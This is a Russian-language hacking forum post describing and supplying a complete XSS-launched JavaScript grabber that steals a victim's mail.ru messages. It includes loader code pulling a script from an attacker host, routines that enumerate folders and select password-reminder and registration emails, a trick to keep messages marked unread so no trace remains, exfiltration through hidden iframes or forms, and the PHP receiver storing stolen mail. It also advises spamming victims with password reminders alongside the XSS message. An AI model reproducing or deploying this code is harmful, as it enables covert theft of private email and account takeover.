Показать сообщение отдельно

продолжение
  #2  
Старый 21.10.2007, 15:44
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
Cool продолжение

MAIL.RU

1. Общее описание

На этом почтовом сервисе дело обстоит не так просто. Массовой пересылки нет. Пересылка в течение короткого времени нескольких единичных сообщений в интерфейсе win.mail.ru влечет необходимость ввода числа на каптче в одной из следующих попыток. Следовательно, переложить на сервер бремя отправки почты юзера, как это сделано на рамблере, нам не удасться.
Выход один: будем отправлять почту через сам браузер. С необходимостью возникает вопрос о методе - post или get?

Многолетний опыт показывает, что отправлять большие сообщения гетом на сниффер, разделяя слишком большие из них на несколько частей, - это всё равно, что рассовывать слонов по карманам. Но раньше другого выхода не было, поскольку пост-метод громко заявлял о себе индикатором в статус-баре. В настоящее время созданы условия, при которых все браузеры последнего поколения (Opera 10, IE 8, FF 3.5, Safari 4, GChrome 3) единообразно поддерживают механизм postMessage, описанный в HTML5 (подробнее: _http://javascript.ru/ajax/cross-origin-2#html5:-postmessage). Поддержка кроссдоменного XMLHttp благодаря IE на данный момент не является единообразной.

Нами будет использован следующий механизм отправки пост-методом:

1) Через innerHTML (оптимальный вариант) скрипт создает невидимую форму.
2) Tаким же образом создается нулевой ифрейм с адресом нашего скрипта-приемника, содержащий код, который будет слушать поступающие к нему postMessage и пересылать их на сохранение тому же приемнику обычным XMLHttp.
3) Если браузер не поддерживает HTML5, то этот же ифрейм будет использоваться в качестве канализатора (form target=frame_name), дабы наша страница не обновлялась при сабмите формы, в которую вставлено скаченное браузером сообщение.

У рассматриваемого сервиса с не столь давних времен появился аякс-интерфейс, частично совместимый с оригинальным интерфейсом. Эта частичная совместимость проявляется в том, что письма даже на домене win.mail.ru можно получать в очень компактном виде json-строки (можете проверить: _http://win.mail.ru/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_da ta&data=["11111111111111111111"]). Из этой строки можно вытянуть почти все данные о письме: адреса аттачей, статус сообщения, тему, дату и т.д. В этом же виде вы увидите эти сообщения сохраненными. Для просмотра их в более привычном виде, можно написать отдельную программу, пока же отдадим приоритет простоте.

В настоящее время есть ещё одна интересная возможность пересыльщика на mail.ru - возможность запуска, используя xss c поддоменов, отличающихся от win.mail.ru, pro.mail.ru - реализовано с помощью управления свойством document.domain (подробнее: _http://javascript.ru/ajax/cross-domain-scripting#kross-domennyy-skripting-s-obshchim-naddomenom). Если скрипт определяет, что его расположение отличается от означенных выше почтовых доменов, он изменяет свойство domain текущего документа на 'mail.ru', подрубается к http://win.mail.ru/cgi-bin/search (на этой странице он находит такой же domain) и делает запросы, уже используя объекты XMLHttp, созданные на поддомене win.mail.ru.

Общая схема работы сборщика:

1) Определение места своего запуска и выбор вариантов работы: с win.mail.ru, pro.mail.ru или с другого поддомена.
2) Сбор идов всех папок (если нужно).
3) Сбор всех идов писем на одной странице в массив.
4) Получение письма.
5) Отправка письма.
6) Повторение 4-5, пока не закончатся иды в массиве.
7) Переход к другой странице (если таковая имеется), повторение 3-6.
8) Переход к другой папке, повторение 3-7.

Фильтр. Установка фильтра обусловлена вводом текущего пароля, поэтому в этом направлении ловить нечего.

1. Глобальная область скрипта

Код:
/*/// --> :Mail.ru:                       <-- /////

///// --> :LeverOne. 11.2009:             <-- /////

///// --> :Example:                       <-- /////

javascript:
with(window) dumper='http://yoursite.xz/dumper.php' 
//, grab_all=true  %0A
;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/mail_all.js';
void(0);

///*/

dumper   = window.dumper   || false;
grab_all = window.grab_all || false;

mask = '%EE%F1%F2%F3%EF%7c' + '%e5%e3%e8%f1%f2%f0%7cignup%7cegist' + '%7c%e0%f0%ee%eb%7c%ee%e4%f2%e2%e5%f0%7c%ee' + '%e6%e0%eb%ee%e2%7c%ea%f2%e8%e2%7c%ee%e4%ef%e8%f1'  ;
email = document.cookie.match(/:.+:(.+):/)[1];
var r, ids=[], ids_index, folders, folders_index, page, is_next_page, context = window;

document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';

if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';

if (dumper != false) 
    switch (location.hostname) {
      case 'win.mail.ru':
      case 'koi.mail.ru':
        grab_all ? get_folders_html() : get_ids_html(1);
        break;
      case 'pro.mail.ru':
        ajax = true;
        grab_all ? get_folders_ajax() : get_ids_ajax();
        break;
      default:
        /* if xss on [sub].mail.ru  */
        try {document.domain = 'mail.ru'} catch(er){}
        document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; grab_all ? get_folders_html() : get_ids_html(1);"><\/iframe>';
    }
Указываете адрес вашего скрипта-приемника (dumper.php). Это можно сделать при запуске, не трогая код: dumper='http://myhost.xz/dumper.php'; with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='adres_do_ckripta';

grab_all - это переменная отвечающая за режим отправки. Скрипт имеет два режима: полный сбор всех сообщений (grab_all=true) и сбор по маске (grab_all=false, сама маска задается в переменной mask). По умолчанию режим полной пересылки выключен. Режим полной отправки также можно установить динамически при запуске. Режим сбора по маске - это особый режим! Здесь скрипт ищет определенные совпадения в теме сообщения и отсылает только те письма, которые содержат эту интересующую нас тему. Смысл этой настройки очевидна - экономия времени за счет отсеивания писем с безынтересным для нас содержанием.

Я установил несколько шаблонов, которые будут встречаться в темах писем с данными регистрации, напоминанием пароля и т.п. (оступ|егистр|ignup|egist|арол|од вер|ожалов|ктив|одпис);

Сбор по маске очень удобен в сочетании с "незапрошенным напоминанием пароля": вы пробиваете по куче сервисов, где может быть зарегистрирован пользователь, его ящик, напоминая ему пароль (где он не изменяется при этом). Вместе с этой веселой кучей напоминаний отправляется ваше не менее веселое сообщение с XSS.

Далее в этом куске кода вы также можете видеть:

- вставку ифрейма со слушателем postMessage
- вставку формы, если браузер не поддерживает HTML5
- определение местонаходжения сборщика и вставка ифрейма, если сборщик запускается не на почтовых субдоменах.
- запуск функций в зависимости от расположения сборщика и режима сбора писем.

Теперь коротко пройдем по функциям.

2. Универсальная функция запроса

С помощью этой функции работают все остальные. Имеет два параметра - урл, куда нужно подключаться, и ,второй параметр, - функция обработки ответа сервера.

Код:
function requester(url, func) {
  try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
  r.open('GET', url);
  r.onreadystatechange = func;
  r.send(null);
}
3. Получение всех папок

Эти функции используются только тогда, когда выбран режим полного сбора. Их две - по одной на html- и ajax-интерфейс. В случае с ajax-интерфейсом иды выделяются из json-строки путем ее интерпретации. Одновременно в аякс-интерфейсе получаются и все иды входящих писем, и запускается получение их тела.

Код:
function get_folders_html() {
  requester('http://win.mail.ru/cgi-bin/folders', 
             function() {
               if (r.readyState == 4) {
                   folders = r.responseText.match(/msglist\?folder=\d+/g);
                   get_all_ids_html(folders_index = 0, page = 1);
               }
             }
           );
}

function get_folders_ajax() {
  requester('http://pro.mail.ru/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D',
             function() {
               if (r.readyState == 4) {
                   folders = eval(r.responseText)[2].fList;
                   ids = eval(r.responseText)[2].mList;
                   ids[ids_index = 0] ? get_message(folders_index = 0) : get_all_ids_ajax(folders_index = 1);
               }
             }
           );
}
4. Получение идентификаторов всех писем

В html-интерфейсе мы получаем иды писем постранично, в ajax-интерфейсе мы можем получить все иды в папке одномоментно. А можем теоретически получить вообще все письма в ящике, но тогда возникнет проблема с их сортировкой.

Код:
function get_all_ids_html() {
  requester('http://win.mail.ru/cgi-bin/' + folders[folders_index] + '&page=' + page, 
             function() {
               if (r.readyState == 4) {
                   response = r.responseText;
                   is_next_page = (response.indexOf('&'+'#8250') != -1) ? true : false;
                   ids = response.match(/\d{20}(?="><\/td>)/gi) || '';
                   ids[ids_index = 0] ? get_message() : (folders[++folders_index] ? get_all_ids_html(page = 1) : false); 
               }
             }
           );
}

function get_all_ids_ajax() {
  requester('http://pro.mail.ru/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' + folders[folders_index].ID + '%2C%22D%22%5D',
            function() {
              if (r.readyState == 4) {
                  ids = eval(r.responseText)[2].mList;
                  ids[ids_index = 0] ? get_message() : (folders[++folders_index] ? get_all_ids_ajax() : false);
              }
            }
           );
}
5. Получение идентификаторов писем, отобранных по маске

Функции отбирают письма по маске, используя поиск писем почтовой службы.

Код:
function get_ids_html() {
 requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', 
            function() {
               if (r.readyState == 4) {
                   ids = (r.responseText.match(/\d{20}(?="><\/td>)/gi) || '').concat(ids) || '';
                   r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message() : false);
               }
             }
          );
}

function get_ids_ajax() {
  requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
             function() {
              if (r.readyState == 4) {
                  ids = r.responseText.match(/\d{20}(?=_msg)/g) || '';
                  if (ids[ids_index = 0]) get_message(ids[ids_index]);
              }
            }
           );
}
6. Получение и отправка каждого письма

Эта функция едина для любого интерфейса по причинам, названным выше.
Здесь же производится проверка статуса сообщения - если оно непрочитано (FlagUnread = 1), посылается команда сделать его непрочитанным, таким образом, статус его не меняется.

Код:
function get_message() {
  requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + ids[ids_index] + '%22%5D',
             function() {
               if (r.readyState == 4) {
                   message = r.responseText;
                   if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1&func_name=ajax_mark_msg' + '&data=%5B%5B%7B%22msgId%22%3A%22' + ids[ids_index] + '%22%2C%22mark%22%3A1%7D%5D%5D', null);
                   message = encodeURIComponent(message);
                   if (window.postMessage) /* HTML 5 */
                       document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
                   else                    /* HTML<5 */
                     document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
                   ids[++ids_index] ? get_message() : 
                     (window.is_next_page ? get_all_ids_html(++page) : (folders[++folders_index] ? (window.ajax ? get_all_ids_ajax() : get_all_ids_html(page = 1)): false));
               }
             }
           );
}
7. Эффекты работы скрипта

Во время работы:
Если браузер поддерживает postMessage - никаких.
Если не поддерживает - будет мелькать адрес скрипта приемника и появляться прогресс-бар, если велик объем отправляемых данных.
После работы:
Никаких следов работы скрипта в ящике не остается.


JS-cборщик сообщений на mail.ru, работающий только по маске

Также написан такой вот сборщик для тех, кто полную пересылку считает лишней (к ним отношусь сам).

Код:
/*/// --> :Mail.ru:                       <-- /////

///// --> :LeverOne. 11.2009:             <-- /////

///// --> :Example:                       <-- /////

javascript:
with(window) dumper='http://yoursite.xz/dumper.php';
with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/mail_adv.js';
void(0);

///*/

dumper = window.dumper || false; 

mask = '%EE%F1%F2%F3%EF%7c' + '%e5%e3%e8%f1%f2%f0%7cignup%7cegist' + '%7c%e0%f0%ee%eb%7c%ee%e4%f2%e2%e5%f0%7c%ee' + '%e6%e0%eb%ee%e2%7c%ea%f2%e8%e2%7c%ee%e4%ef%e8%f1'  ;
email = document.cookie.match(/:.+:(.+):/)[1];
var r, ids=[], ids_index, context = window;

document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';

if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';

if (dumper != false)
    switch (location.hostname) {
      case 'win.mail.ru':
      case 'koi.mail.ru':
        get_ids_html(1);
        break;
      case 'pro.mail.ru':
        get_ids_ajax();
        break;
      default:
        /* if xss on [sub].mail.ru  */
        try {document.domain = 'mail.ru'} catch(er){}
        document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';
    }

function get_ids_html(page) {
  requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', 
             function() {
               if (r.readyState == 4) {
                   ids = (r.responseText.match(/\d{20}(?="><\/td>)/gi) || '').concat(ids) || '';
                   r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message() : false);
               }
             }
           );
}

function get_ids_ajax() {
  requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
             function() {
               if (r.readyState == 4) {
                   ids = r.responseText.match(/\d{20}(?=_msg)/g) || '';
                   if (ids[ids_index = 0]) get_message();
               }
             }
           );
}

function get_message() {
  requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + ids[ids_index] + '%22%5D',
             function() {
               if (r.readyState == 4) {
                   message = r.responseText;
                   if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + ids[ids_index] + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);  
                   message = encodeURIComponent(message);
                   if (window.postMessage) /* HTML 5 */
                       document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
                   else                    /* HTML<5 */
                       document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
                   if (ids[++ids_index]) get_message();
               }
             }
           );
}

function requester(url, func) {
  try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
  r.open('GET', url);
  r.onreadystatechange = func;
  r.send(null);
}
Приемник
dumper.php
PHP код:
<?php
error_reporting
(0);
if (
$_REQUEST['action'] == 'sender')
   {
?>

<html>
<body>
<script>
if (window.addEventListener) {
    window.addEventListener('message', listener, false);
} else {
    window.attachEvent('onmessage', listener);
}

function listener(event) {
  with (new XMLHttpRequest()) 
     open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),
     setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),
     send(event.data);
}
</script>
</body>
</html>

<?php
    
die();
   }
else if(
$_REQUEST['action'] == 'save')
   {
    
$_REQUEST['email'] = rawurldecode($_REQUEST['email']);
    if (!
get_magic_quotes_gpc()) $_REQUEST['email'] = addslashes($_REQUEST['email']);
    
$fp fopen("./" .$_REQUEST['email']. ".txt""ab") or die();
    
fwrite($fprawurldecode($_REQUEST['message'])."\r\n\r\n");
    
fclose($fp);
   }

?>
В результате должен появиться файл txt с именем e-mail'ла и регистрационной информацией.

Синтетическое решение: _https://forum.antichat.ru/showpost.php?p=1405040&postcount=7

Последний раз редактировалось LeverOne; 25.11.2009 в 20:53..